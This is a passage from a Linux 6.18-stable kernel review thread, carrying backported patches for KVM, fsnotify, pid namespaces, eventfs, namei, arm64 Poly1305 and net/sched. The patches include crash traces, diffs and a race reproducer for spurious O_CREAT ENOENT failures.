Cc: Greg Kroah-Hartman, patches, David Woodhouse,
Amirmohammad Eftekhar, Sean Christopherson, Paolo Bonzini
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
commit c8f4cfe1cf93bce924e27f2abead7a4c4a487505 upstream.
Reset the vCPU's MMU pointer back to the root MMU if loading L2 state fails
in the "not from VM-Entry" case, i.e. when emulating RSM or handling
KVM_SET_NESTED_STATE. Failure to unwind the MMU pointer results in KVM
trying to run L1 with a nested MMU, and is especially problematic if the
vCPU manages to free its nested state before the VM crashes. Constructing
the root for a nested EPT MMU goes through vmcs12, which is dynamically
allocated/freed when nVMX is enabled/disabled. And so if the nested state
is freed with the MMU still pointing at the nested MMU, KVM will hit a NULL
pointer deref when attempting to get L1=>L2 EPTP.
BUG: kernel NULL pointer dereference, address: 0000000000000078
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
PGD 114a2d067 P4D 111743067 PUD 11141f067 PMD 0
Oops: Oops: 0000 [#1] SMP
CPU: 20 UID: 1000 PID: 1272 Comm: nested_tdp_faul Not tainted 7.3.0-rc4-8c89f11d1a99b-sink-vm #1914 PREEMPTLAZY
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015
RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
Call Trace:
<TASK>
kvm_mmu_load+0xcd/0x870 [kvm]
kvm_arch_vcpu_ioctl_run+0x18f5/0x1f80 [kvm]
kvm_vcpu_ioctl+0x2c7/0x970 [kvm]
__x64_sys_ioctl+0x90/0xd0
do_syscall_64+0x9c/0x4d0
entry_SYSCALL_64_after_hwframe+0x4b/0x53
RIP: 0033:0x47491b
</TASK>
Modules linked in: kvm_intel kvm irqbypass
CR2: 0000000000000078
---[ end trace 0000000000000000 ]---
RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
Cc: David Woodhouse <dwmw2@infradead.org>
Fixes: 72e9cbdb4338 ("KVM: nVMX: fix SMI injection in guest mode")
Fixes: 8fcc4b5923af ("kvm: nVMX: Introduce KVM_CAP_NESTED_STATE")
Cc: stable@vger.kernel.org
Signed-off-by: Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
[sean: write changelog]
Signed-off-by: Sean Christopherson <seanjc@google.com>
Link: https://patch.msgid.link/20261001214356.3825100-2-seanjc@google.com
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kvm/vmx/nested.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
--- a/arch/x86/kvm/vmx/nested.c
+++ b/arch/x86/kvm/vmx/nested.c
@@ -3821,8 +3821,10 @@ vmentry_fail_vmexit_guest_mode:
vmentry_fail_vmexit:
vmx_switch_vmcs(vcpu, &vmx->vmcs01);
- if (!from_vmentry)
+ if (!from_vmentry) {
+ nested_ept_uninit_mmu_context(vcpu);
return NVMX_VMENTRY_VMEXIT;
+ }
nested_put_vmcs12_pages(vcpu);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 079/193] fsnotify: prevent mark additions during connector teardown
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (77 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 078/193] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 080/193] pid_namespace: make zap_pid_ns_processes() freezable Greg Kroah-Hartman
` (124 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Kyle Zeng,
Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
commit 36ebddca56b9d8993d6dc984fdecc748ee1f5e06 upstream.
fsnotify_destroy_marks() keeps a reference to its current mark while it
drops conn->lock to destroy the mark. This stabilizes the forward-walk
cursor, but does not prevent a new mark from being inserted before it.
For example, an inotify watch re-added after IN_IGNORED sorts before the
old, detached mark for the same group. The walk can miss the replacement
and then detach the entire connector from the object.
The replacement is still on its group's marks_list and, for inotify, in
the watch IDR. The group mutex no longer protects the connector's object
from disappearing. An unprivileged fdinfo read racing the final detach
can consequently call igrab(NULL):
BUG: KASAN: null-ptr-deref in igrab+0x24/0x100
Write of size 4 at addr 0000000000000148
Call Trace:
igrab+0x24/0x100
inotify_show_fdinfo+0x1dc/0x5e0
seq_show+0x397/0x690
Set a DESTROYING flag under conn->lock before starting the walk, and
reject new marks on that connector with -ENOENT. The existing add-mark
error paths undo the temporary group-list entry and the backend's watch
allocation. Do not wait for teardown while holding the group mutex,
which the destroyer needs. Once the old connector is detached, an add
can install a fresh connector as before.
This closes the insertion race for all object types using the common
connector teardown, without changing the mark reference or SRCU lifetime
rules.
Fixes: 6b3f05d24d35 ("fsnotify: Detach mark from object list when last reference is dropped")
Cc: stable@vger.kernel.org
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/notify/mark.c | 11 +++++++++++
include/linux/fsnotify_backend.h | 1 +
2 files changed, 12 insertions(+)
--- a/fs/notify/mark.c
+++ b/fs/notify/mark.c
@@ -786,6 +786,11 @@ restart:
goto restart;
}
+ if (conn->flags & FSNOTIFY_CONN_FLAG_DESTROYING) {
+ err = -ENOENT;
+ goto out_err;
+ }
+
/* is mark the first mark? */
if (hlist_empty(&conn->list)) {
hlist_add_head_rcu(&mark->obj_list, &conn->list);
@@ -974,6 +979,12 @@ void fsnotify_destroy_marks(fsnotify_con
if (!conn)
return;
/*
+ * New marks could be inserted before our cursor and survive the final
+ * detachment of the connector from the object. Prevent additions to
+ * this connector before dropping its lock.
+ */
+ conn->flags |= FSNOTIFY_CONN_FLAG_DESTROYING;
+ /*
* We have to be careful since we can race with e.g.
* fsnotify_clear_marks_by_group() and once we drop the conn->lock, the
* list can get modified. However we are holding mark reference and
--- a/include/linux/fsnotify_backend.h
+++ b/include/linux/fsnotify_backend.h
@@ -546,6 +546,7 @@ struct fsnotify_mark_connector {
unsigned char prio; /* Highest priority group */
#define FSNOTIFY_CONN_FLAG_IS_WATCHED 0x01
#define FSNOTIFY_CONN_FLAG_HAS_IREF 0x02
+#define FSNOTIFY_CONN_FLAG_DESTROYING 0x04
unsigned short flags; /* flags [lock] */
union {
/* Object pointer [lock] */
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 080/193] pid_namespace: make zap_pid_ns_processes() freezable
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (78 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 079/193] fsnotify: prevent mark additions during connector teardown Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 081/193] eventfs: Free the eventfs_inode after an rcu grace period too Greg Kroah-Hartman
` (123 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Oleg Nesterov, Aviv Vaknin,
Bradley Morgan, Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aviv Vaknin <vaknins33@gmail.com>
commit 81933038f5e273d17ed22792f906889393b204c5 upstream.
When the init of a pid namespace exits, zap_pid_ns_processes() waits
until all other pids in the namespace are freed. A tracer outside the
namespace that does not reap its traced zombies keeps those pids
allocated, so this wait has no upper bound, and while it lasts every
suspend attempt fails:
Freezing user space processes failed after 20.006 seconds (2 tasks refusing to freeze, wq_busy=0):
Neither wait is freezable. The first loop sleeps in do_wait(), which
returns -ERESTARTSYS on the freezer's fake signal; the loop then clears
TIF_SIGPENDING and waits again without ever freezing. The final loop
sleeps in TASK_INTERRUPTIBLE, and since nothing clears TIF_SIGPENDING
there, schedule() returns immediately after the first freeze attempt
and the task spins until the wait ends.
Sleep in TASK_INTERRUPTIBLE | TASK_FREEZABLE in do_wait(), so that the
freezer can freeze tasks waiting there directly, and in TASK_IDLE |
TASK_FREEZABLE in the final loop, like coredump_task_exit() does.
This was hit with Chromium-based browsers: crashpad ptrace-attaches the
threads of a crashed renderer, which is a pid namespace init, and does
not reap those killed during the dump.
Fixes: 3eb07c8c8adb ("pid namespaces: destroy pid namespace on init's death")
Fixes: b9a985db9896 ("pid_ns: Sleep in TASK_INTERRUPTIBLE in zap_pid_ns_processes")
Cc: stable@vger.kernel.org # 6.1+
Suggested-by: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Aviv Vaknin <vaknins33@gmail.com>
Link: https://patch.msgid.link/20261002202820.3433318-1-vaknins33@gmail.com
Acked-by: Oleg Nesterov <oleg@redhat.com>
Reviewed-by: Bradley Morgan <brads@mainlining.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/exit.c | 2 +-
kernel/pid_namespace.c | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1725,7 +1725,7 @@ static long do_wait(struct wait_opts *wo
add_wait_queue(¤t->signal->wait_chldexit, &wo->child_wait);
do {
- set_current_state(TASK_INTERRUPTIBLE);
+ set_current_state(TASK_INTERRUPTIBLE | TASK_FREEZABLE);
retval = __do_wait(wo);
if (retval != -ERESTARTSYS)
break;
--- a/kernel/pid_namespace.c
+++ b/kernel/pid_namespace.c
@@ -268,7 +268,7 @@ void zap_pid_ns_processes(struct pid_nam
* free_pid() will awaken this task.
*/
for (;;) {
- set_current_state(TASK_INTERRUPTIBLE);
+ set_current_state(TASK_IDLE | TASK_FREEZABLE);
if (pid_ns->pid_allocated == init_pids)
break;
schedule();
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 081/193] eventfs: Free the eventfs_inode after an rcu grace period too
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (79 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 080/193] pid_namespace: make zap_pid_ns_processes() freezable Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 082/193] namei: test for a negative dentry the way traverse_mounts() does Greg Kroah-Hartman
` (122 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 2cd88c498ecff8e22bf4c397b8eb226db70ac343 upstream.
tracefs_d_revalidate() reads ->is_freed of the eventfs_inode that
dentry->d_fsdata points to, and ->d_revalidate() is called in rcu
pathwalk mode with nothing but rcu_read_lock() held. The dentry itself
stays around for such a walker, but tracefs_d_release() drops its
reference to the eventfs_inode when the dentry is killed, and
release_ei() then frees it after a grace period of eventfs_srcu. An
SRCU grace period doesn't wait for rcu_read_lock() sections, so the
walker can read an eventfs_inode that is already gone.
With a pathwalk held up in tracefs_d_revalidate() while the dentry goes
away:
BUG: KASAN: slab-use-after-free in tracefs_d_revalidate+0x76/0x90
Read of size 1 at addr ff1100010152d8d0 by task walker/97
Call Trace:
<TASK>
tracefs_d_revalidate+0x76/0x90
lookup_fast+0x320/0x640
path_lookupat+0x160/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
vfs_fstatat+0x4d/0x90
__do_sys_newfstatat+0xa0/0x100
do_syscall_64+0x10e/0x5e0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
[...]
Allocated by task 1:
__kmalloc_cache_noprof+0x249/0x560
eventfs_create_dir+0x7a/0x590
event_create_dir+0x2fb/0xcf0
trace_add_event_call+0xbf/0x150
[...]
Freed by task 11:
kfree+0x1db/0x5b0
srcu_invoke_callbacks+0x3a3/0x620
process_one_work+0x937/0x1810
worker_thread+0x4f1/0xd60
Before commit 8e556432477e ("eventfs: Use SRCU for freeing
eventfs_inodes") release_ei() used call_rcu(), which covered the walker,
while eventfs_iterate() needs the SRCU grace period. Wait for both and
chain call_rcu() from the SRCU callback.
Cc: stable@vger.kernel.org
Fixes: 8e556432477e ("eventfs: Use SRCU for freeing eventfs_inodes")
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-4-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/tracefs/event_inode.c | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
--- a/fs/tracefs/event_inode.c
+++ b/fs/tracefs/event_inode.c
@@ -91,6 +91,14 @@ static void free_ei_rcu(struct rcu_head
}
}
+/* read under eventfs_srcu and, by tracefs_d_revalidate(), in rcu pathwalk */
+static void free_ei_srcu(struct rcu_head *rcu)
+{
+ struct eventfs_inode *ei = container_of(rcu, struct eventfs_inode, rcu);
+
+ call_rcu(&ei->rcu, free_ei_rcu);
+}
+
/*
* eventfs_inode reference count management.
*
@@ -112,7 +120,7 @@ static void release_ei(struct kref *ref)
entry->release(entry->name, ei->data);
}
- call_srcu(&eventfs_srcu, &ei->rcu, free_ei_rcu);
+ call_srcu(&eventfs_srcu, &ei->rcu, free_ei_srcu);
}
static inline void put_ei(struct eventfs_inode *ei)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 082/193] namei: test for a negative dentry the way traverse_mounts() does
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (80 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 081/193] eventfs: Free the eventfs_inode after an rcu grace period too Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 083/193] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state Greg Kroah-Hartman
` (121 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jeff Layton,
Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 98b6cf102b35b2bb48d1fd74d5f664eb66fe83eb upstream.
lookup_fast_for_open() only hands an O_CREAT open a cached dentry if
it's positive. Otherwise the open goes on to lookup_open(), which takes
the directory lock and creates the file. It tests for that with
!dentry->d_inode, but traverse_mounts() later decides with the type in
d_flags. And when a dentry is instantiated __d_set_inode_and_type()
stores ->d_inode first and only then releases the type into ->d_flags.
So a refwalk that took its reference to a negative dentry right before
another task instantiates it can find ->d_inode already set in
lookup_fast_for_open(), go on to step_into(), and still find the
negative type in traverse_mounts(). The open then fails with -ENOENT,
which an O_CREAT open must never do. rcuwalk doesn't get that far, the
d_seq check in step_into() catches the instantiation.
Use d_is_negative() so both look at the type. While the type is still
negative the open takes lookup_open() and waits for the directory lock
like any other O_CREAT open of a negative dentry.
On its own the window is a couple of instructions in the creating task,
so it takes an interrupt or a preempted vcpu in exactly the right spot.
I haven't caught it without help in about 600 million racing O_CREAT
opens.
The debug patch below stalls the creating task between the two stores
for names starting with "ocrace", the way an interrupt landing there
would. The reproducer below opens "ocrace" with O_CREAT through
symlinks on a strictatime tmpfs: following them updates their atime,
which drops the walk out of rcuwalk, so the name is always looked up in
refwalk. With
echo 20 > /proc/sys/fs/ocrace_instantiate_us
./ocreat_enoent -t 60
on a KASAN kernel open() failed with -ENOENT 43 times in 4.9 million
calls. With this patch it never failed in 4.8 million calls. Tracing
step_into_slowpath() during such a run, each of the 98 -ENOENTs it
returned came right after the same task had entered it with a dentry
that was still typed negative.
// SPDX-License-Identifier: GPL-2.0
/*
* ocreat_enoent: open(O_CREAT) racing the creation of the same name.
*
* Writers unlink "ocrace" and create it again. Readers open it with
* O_CREAT through a symlink of their own on a strictatime tmpfs.
* Following the symlink updates its atime, which drops the walk out of
* rcu mode, so the name is always looked up in refwalk. An O_CREAT open
* must never fail with ENOENT.
*
* -p arms a cpu-clock perf timer with that period in ns on every writer,
* so that interrupts land at random points in it.
*
* usage: ocreat_enoent [-t secs] [-w writers] [-r readers] [-p ns]
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <linux/perf_event.h>
#define DIR "/tmp/oc"
static atomic_int stop;
static atomic_long opens, creates, enoent, other;
static long period;
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
exit(2);
}
static void *writer(void *arg)
{
(void)arg;
if (period) {
struct perf_event_attr attr = {
.type = PERF_TYPE_SOFTWARE,
.size = sizeof(attr),
.config = PERF_COUNT_SW_CPU_CLOCK,
.sample_period = period,
};
if (syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0) < 0)
die("perf_event_open");
}
while (!atomic_load(&stop)) {
int fd;
unlink(DIR "/ocrace");
fd = open(DIR "/ocrace", O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (fd >= 0)
close(fd);
atomic_fetch_add(&creates, 1);
}
return NULL;
}
static void *reader(void *arg)
{
char lnk[64];
snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", (long)arg);
while (!atomic_load(&stop)) {
int fd = open(lnk, O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (fd >= 0)
close(fd);
else if (errno == ENOENT)
atomic_fetch_add(&enoent, 1);
else
atomic_fetch_add(&other, 1);
atomic_fetch_add(&opens, 1);
}
return NULL;
}
int main(int argc, char **argv)
{
int secs = 60, nw = 4, nr = 12, c, n = 0;
pthread_t t[256];
while ((c = getopt(argc, argv, "t:w:r:p:")) != -1) {
switch (c) {
case 't': secs = atoi(optarg); break;
case 'w': nw = atoi(optarg); break;
case 'r': nr = atoi(optarg); break;
case 'p': period = atol(optarg); break;
default: return 2;
}
}
if (nw + nr > 256)
return 2;
mkdir(DIR, 0755);
if (mount("oc", DIR, "tmpfs", MS_STRICTATIME, "mode=0755"))
die("tmpfs");
for (long i = 0; i < nr; i++) {
char lnk[64];
snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", i);
if (symlink("ocrace", lnk))
die("symlink");
}
for (long i = 0; i < nw; i++)
if (pthread_create(&t[n++], NULL, writer, NULL))
die("writer");
for (long i = 0; i < nr; i++)
if (pthread_create(&t[n++], NULL, reader, (void *)i))
die("reader");
sleep(secs);
atomic_store(&stop, 1);
for (int i = 0; i < n; i++)
pthread_join(t[i], NULL);
printf("%ds: %ld opens, %ld creates, ENOENT %ld, other errors %ld\n",
secs, atomic_load(&opens), atomic_load(&creates),
atomic_load(&enoent), atomic_load(&other));
umount2(DIR, MNT_DETACH);
return atomic_load(&enoent) ? 1 : 0;
}
# diff --git a/fs/dcache.c b/fs/dcache.c
# --- a/fs/dcache.c
# +++ b/fs/dcache.c
# @@ -32,9 +32,13 @@
# #include <linux/bit_spinlock.h>
# #include <linux/rculist_bl.h>
# #include <linux/list_lru.h>
# +#include <linux/delay.h>
# #include "internal.h"
# #include "mount.h"
#
# +/* debug: stall "ocrace*" names between ->d_inode and the type */
# +static int sysctl_ocrace_instantiate_us;
# +
# #include <asm/runtime-const.h>
#
# /*
# @@ -200,6 +204,13 @@
# }
#
# static const struct ctl_table fs_dcache_sysctls[] = {
# + {
# + .procname = "ocrace_instantiate_us",
# + .data = &sysctl_ocrace_instantiate_us,
# + .maxlen = sizeof(int),
# + .mode = 0644,
# + .proc_handler = proc_dointvec,
# + },
# {
# .procname = "dentry-state",
# .data = &dentry_stat,
# @@ -405,6 +416,10 @@
# unsigned flags;
#
# dentry->d_inode = inode;
# + /* debug: an interrupt landing right here */
# + if (unlikely(READ_ONCE(sysctl_ocrace_instantiate_us)) &&
# + !strncmp(dentry->d_name.name, "ocrace", 6))
# + udelay(READ_ONCE(sysctl_ocrace_instantiate_us));
# flags = READ_ONCE(dentry->d_flags);
# flags &= ~DCACHE_ENTRY_TYPE;
# flags |= type_flags;
Fixes: e747e15156b7 ("fs: try an opportunistic lookup for O_CREAT opens too")
Cc: stable@vger.kernel.org # v6.12+
Link: https://patch.msgid.link/20261012-work-namei-ocreate-v1-1-c7883b17ee28@kernel.org
Reviewed-by: Jeff Layton <jlayton@kernel.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/namei.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -3864,8 +3864,7 @@ static struct dentry *lookup_fast_for_op
return dentry;
if (open_flag & O_CREAT) {
- /* Discard negative dentries. Need inode_lock to do the create */
- if (!dentry->d_inode) {
+ if (d_is_negative(dentry)) {
if (!(nd->flags & LOOKUP_RCU))
dput(dentry);
dentry = NULL;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 083/193] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (81 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 082/193] namei: test for a negative dentry the way traverse_mounts() does Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 084/193] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() Greg Kroah-Hartman
` (120 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jason A. Donenfeld,
Jérémy Jean, Eric Biggers
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
commit 24f07e8c07a0c0dd275331cbb41c79a78741eef9 upstream.
When poly1305_blocks_neon() resumes from a base 2^26 accumulator and the
next update contains an odd number of full 16-byte blocks, it processes
one leading block through poly1305_mult() so that the remaining NEON
work has an even block count. That requires converting the accumulator
to the base 2^64 form used by poly1305_mult(). The final ADC of that
conversion stores the carry into d2, but the following accumulation and
poly1305_mult() use h2. If the conversion carries across bit 128, the
carry is dropped and the emitted tag is wrong.
This was introduced by Cryptogams commit 03dc4adf91c8
("arm/poly1305-armv*.pl: optimize branches."), which removed the
reduction that consumed d2 shortly before Linux imported the code.
OpenSSL's copy did not take that change.
The carry is possible because the NEON code stores the accumulator [h0,
h1, h2, h3, h4] in a lazily reduced, redundant base 2^26 form: its final
carry chain leaves h0, h2, h3 < 2^26, but h1 and h4 may slightly exceed
2^26 - 1. For example, the reachable state
h0 = 4
h1 = 2^26
h2 = 2^26 - 1
h3 = 2^26 - 1
h4 = 2^24 - 1
represents 4 + 2^26*2^26 + (2^26-1)*2^52 + (2^26-1)*2^78 +
(2^24-1)*2^104 = 2^128 + 4, despite the bit representing the 2^128 term
(bit 24 of h4) not being set; the extra comes from the h1 limb being
above the normal base 2^26 range. When this value is converted into the
non-redundant base 2^64 form, a carry into the new 2^128 bit (in bit 0
of h2) is necessary to preserve the value.
Given the above bounds, a carry into bit 128 happens exactly when
h1 >= 2^26, h2 = h3 = 2^26 - 1, and h4 mod 2^24 = 2^24 - 1.
Store the carry into h2, matching the other base 2^26 to base 2^64
conversions in poly1305_blocks() and poly1305_emit().
This bug causes an incorrect tag to be emitted. However, this is
unlikely to happen in practice where Poly1305 is used with a random key,
since the random key tends to distribute the accumulator values
throughout their valid range. There isn't an obvious way for an
attacker without knowledge of the r_key to cause [h0, h1, h2, h3, h4] to
land on the precise values where this bug occurs.
[EB: Rewrote the commit message to more clearly describe the bug and
its impact, and simplified explanation about why there's a carry bit.]
Fixes: f569ca164751 ("crypto: arm64/poly1305 - incorporate OpenSSL/CRYPTOGAMS NEON implementation")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Reviewed-by: Jason A. Donenfeld <Jason@zx2c4.com>
Signed-off-by: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
Link: https://patch.msgid.link/20261009125354.315476-2-ebiggers@kernel.org
Signed-off-by: Eric Biggers <ebiggers@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
lib/crypto/arm64/poly1305-armv8.pl | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/lib/crypto/arm64/poly1305-armv8.pl
+++ b/lib/crypto/arm64/poly1305-armv8.pl
@@ -375,7 +375,7 @@ poly1305_blocks_neon:
adc $h1,$h1,xzr
lsr $h2,x14,#24
adds $h1,$h1,x14,lsl#40
- adc $d2,$h2,xzr // can be partially reduced...
+ adc $h2,$h2,xzr // preserve carry into top limb
ldp $d0,$d1,[$inp],#16 // load input
sub $len,$len,#16
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 084/193] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (82 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 083/193] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 085/193] net/sched: fix use-after-free in __tcf_action_put() Greg Kroah-Hartman
` (119 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sashiko, Ard Biesheuvel,
Eric Biggers
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Eric Biggers <ebiggers@kernel.org>
commit da619121a5d271e78ec709a1f9a3c5f99b9e10ad upstream.
Use memzero_explicit() instead of a plain struct assignment to guarantee
zeroization of the 'struct poly1305_desc_ctx'.
Note that dead store elimination was only theoretically possible with
link-time optimization here. But it's still worth fixing.
Fixes: a1d93064094c ("crypto: poly1305 - expose init/update/final library interface")
Cc: stable@vger.kernel.org
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://sashiko.dev/#/bug/linux-c3a6bd76-f6ab-4203-892a-cd06f7aa0c34
Reviewed-by: Ard Biesheuvel <ardb@kernel.org>
Link: https://patch.msgid.link/20261006083432.16328-1-ebiggers@kernel.org
Signed-off-by: Eric Biggers <ebiggers@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
lib/crypto/poly1305.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/lib/crypto/poly1305.c
+++ b/lib/crypto/poly1305.c
@@ -78,7 +78,7 @@ void poly1305_final(struct poly1305_desc
}
poly1305_emit(&desc->state.h, dst, desc->s);
- *desc = (struct poly1305_desc_ctx){};
+ memzero_explicit(desc, sizeof(*desc));
}
EXPORT_SYMBOL(poly1305_final);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 085/193] net/sched: fix use-after-free in __tcf_action_put()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (83 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 084/193] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 086/193] net: rds: fix uninitialized trans dereference in CM event handler Greg Kroah-Hartman
` (118 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jérémy Jean, Simon Horman,
Paolo Abeni
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
commit 7b16eb911091aae237a8673da94e4dfb9cd21d54 upstream.
__tcf_action_put() decrements the reference count before decrementing the
binding count. Another thread can free the action between these operations,
causing the binding-count update to access freed memory. KASAN reports it
as:
BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340
Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64
Hold the action IDR mutex across both counter updates and IDR removal,
keeping cleanup outside the lock.
Fixes: 16af6067392c ("net: sched: implement reference counted action release")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
Reviewed-by: Simon Horman <horms@kernel.org>
Link: https://patch.msgid.link/20261008181348.527035-2-Jeremy.Jean@oss.cyber.gouv.fr
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sched/act_api.c | 11 +++++------
